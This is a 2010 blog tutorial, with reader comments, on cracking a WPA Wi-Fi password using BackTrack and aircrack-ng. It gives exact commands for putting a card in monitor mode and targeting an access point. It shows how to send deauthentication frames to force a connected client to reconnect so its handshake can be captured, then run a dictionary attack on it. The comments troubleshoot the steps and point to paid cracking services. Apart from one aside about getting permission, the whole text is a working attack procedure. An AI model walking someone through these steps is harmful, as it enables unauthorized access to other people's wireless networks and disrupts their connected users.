WPA Cracking: A How-To

by A.D. on January 28, 2010

Introduction

Cracking WPA is not nearly as easy as cracking WEP. I will forego a lengthy encryption explanation and just say the primary difference is that WEP can be deduced from capturing many packets, but WPA has to be checked against a dictionary file. If it’s not in the dictionary, then it will not be recognized. It will take time and may yield no results.

The positive side is that WPA is considered an ‘offline’ attack, meaning, you capture a single handshake packet and do everything else later. The convenience factor is that you can capture someone’s handshake packet (with their permission, of course) with your laptop and go home and run the crack on your desktop for more power.

Since I usually find that there’s generally too much explanation involved in these tutorials, I will attempt to keep it simple.

Required Items

The Steps

First, you need BackTrack on a DVD or USB Key. If using a DVD, use your own software, but if you’re using a USB Key, please follow these instructions.

Preparing your USB Key for Booting with backtrack

First, plug your USB Key into your computer and format it with FAT32.

formatusb

Download and run UNetbootin.

Select “Diskimage” and point Unetbootin to the location of your BackTrack ISO file, then make sure the proper drive letter to your USB drive is selected.

unetbootin

Click OK and wait for UNetbootin to finish copying files to the USB Key.

unetbootin2

When complete, you can click “Reboot Now” or “Exit” to finish.

unetbootin3

Booting to backtrack

Restart your computer with the disc or USB Key in and press your computer’s boot selection button. Probably either F2 or F12.

Once you’re at the prompt, type:

root@bt:~#startx

initialprompt

This will place you into the X Windows environment and make it easier to run multiple shell windows.

Let’s Get Started – Capturing the Handshake

Open a terminal.

xdesktop

Let’s set the card in monitor mode:

airmon-ng start wlan0

airmon-ng

and look for our target AP:

airodump-ng mon0

airodump1

We have the info we need, now let’s focus on just our target AP:

airodump-ng -c (chan) -w (capfile) --bssid (apmac) (iface)

Mine:

airodump-ng -c 5 -w wpa.cap --bssid 0A:15:6D:E8:A8:78 mon0

airodump2

Now notice there’s a client connected right now, we need that client. Why do we need a client? Because we need to send a deauth command in order to catch the ‘handshake’ when he reconnects.

Open a second terminal window and use the following command to de-authenticate the client:

aireplay-ng -0 1 -a (apmac) -c (clientmac) (iface)

Mine:

aireplay-ng -0 1 -a 0A:15:6D:E8:A8:78 -c 00:1A:73:50:61:DD mon0

deauth

The client de-authenticated and reconnected. You should know have the handshake in your cap file. If your screen says WPA Handshake like the one below, you’re good to go!

handshake

Success! You may now close both of these terminal windows. We have the handshake we need and can start the cracking.

Cracking – the hard part

So we have our capture and now we’re ready to start cracking the password. Remember that this could take a long time and may not complete at all!

I have prepared the following dictionary file for use with WPA cracking, please download it: REMOVED: Please See This Post.

It’s not a very good wordlist, but it will do.

Let’s do this:

aircrack-ng -w wpalist.txt -b (BSSID) (capfile)

Mine:

aircrack-ng -w wpalist.txt -b 0A:15:6D:E8:A8:78 wpa.cap

cracked

There go! Our password is cracked and in almost 16 minutes. Your success may vary and, as I said before, you may not crack it at all.

You could look elsewhere for a larger dictionary file to use. If you REALLY want the password cracked, there are online places with clouds that will let you crack passwords, but they all charge money.

Thanks for reading!

  • Share/Bookmark
  • aircrack-ng -w wpalist.txt -b (BSSID) (capfile)
    ….But I can’t use WPALIST.txt file
    OS tell “fopen(dictionary) failed: No such file or directory”
  • A.D.
    As the post says, I removed the WPALIST.txt.
  • pieddu
    Ok, now let us see an example of crackin with a AES encryption instead TKIP.
  • A.D.
    It should break AES in the same steps. As far as this crack is concerned, the only difference in TKIP and AES should be the amount of processor power it takes to encode the ciphers and compare them to the capture file.
  • Adi Suryanto
    Thank you so much for this valuable tutorial. I'm so lucky reading this while I need someone to help me to find my missing network key/password (I forget that). I wanna try your step by step. Once again, I just do this in my private network.
  • hossin86
    hi,
    Can you explained structure of WPALIST.txt file?
    Can I build own world list file?
    regards,
  • A.D.
    Hey hossin86,

    It depends on the cracker you are using, but most all of them will work with a list that uses lines terminated with CR-LF pairs (like the openwall lists).

    You could make your own list, but make sure that there is 1 word per line and no commas.
  • Joscos
    how to retrieve the AP ip adr?
  • A.D.
    run: ipconfig under windows or ifconfig under linux and whatever the gateway address is (eg: 192.168.1.1) is probably the AP, unless you're dealing with a commercial network. If it is a commercial network, then the address will be transparent.
  • ah
    i use all this step
    but not complete
    can i use also wpa2 ??

    can't done final step
    aircrack-ng -w wpalist.txt -b (MAC) wpa.cap
  • 6n4_bg
    hi i have a problem with hacking of 1 network wit wpa psk encryption i have tried with wodlist but didn't work, after the i tried with cain & abel with bruteforce but i don't want to wait 2000 years.
  • theerak
    ''Everything should be saved in your /root folder by default"

    ....But I can't use WPALIST.txt file
    OS tell "fopen(dictionary) failed: No such file or directory"
  • Evil
    Hello, i got a lot's of STATION's macs, which one i should use to get handshake?
  • A.D.
    Any of them. As long as they know the WPA password, you can capture that portion of the handshake.
  • irfan
    It’s not a very good wordlist, but it will do.

    Let’s do this:

    aircrack-ng -w wpalist.txt -b (BSSID) (capfile)
    Mine:

    aircrack-ng -w wpalist.txt -b 0A:15:6D:E8:A8:78 wpa.cap

    Sir after download this WPALIST.txt file where shoud i have to save this file to retrive for cracking...
  • A.D.
    Everything should be saved in your /root folder by default.
  • Ivan Lapis
    So far as to what I know, only brute-force guess the password is the only way to crack WPA/WPA2 right? so as long as the password isn't a password dictionary then it will never be cracked, right? and as long as you just keep your password to yourself... hehe
  • A.D.
    That's correct, but some services (like this one) will run your password again a database of about 135 million passwords for a small fee.
  • scrubnub
    aireplay-ng -0 1 -a (apmac) -c (clientmac) (iface)


    After this command it wont show the STATION number..is there anything i can do to make it appear ?
  • A.D.
    Hey scrubnub,

    Are you saying that you run aireplay-ng -0 1 -a (apmac) -c (clientmac) (iface) and the STATION (client) does not re-appear in the airodump terminal?

    If so, it means that either the client isn't reconnecting or something else is amiss.
  • Evil
    Two machines were connected to AP at that time.
  • A.D.
    That's very odd Evil. If they are all on the same channel (which they have to be to be using the AP) they should show up. You can just eliminate the channel modifier and it *should* still work. It might channel hop, but hopefully it will capture the data for all channels and also show the clients.

    Try this command:
    airodump-ng -w (capfile) --bssid (apmac) (iface)
  • Evil
    Can't find client mac after this command:
    airodump-ng -c (chan) -w (capfile) --bssid (apmac) (iface)
  • A.D.
    sounds like no one is connected to the AP then.
  • Willis
    Nice. A simple little website with perfect + informative instructions for cracking.

    Thank you!
blog comments powered by Disqus

Previous post:

Next post: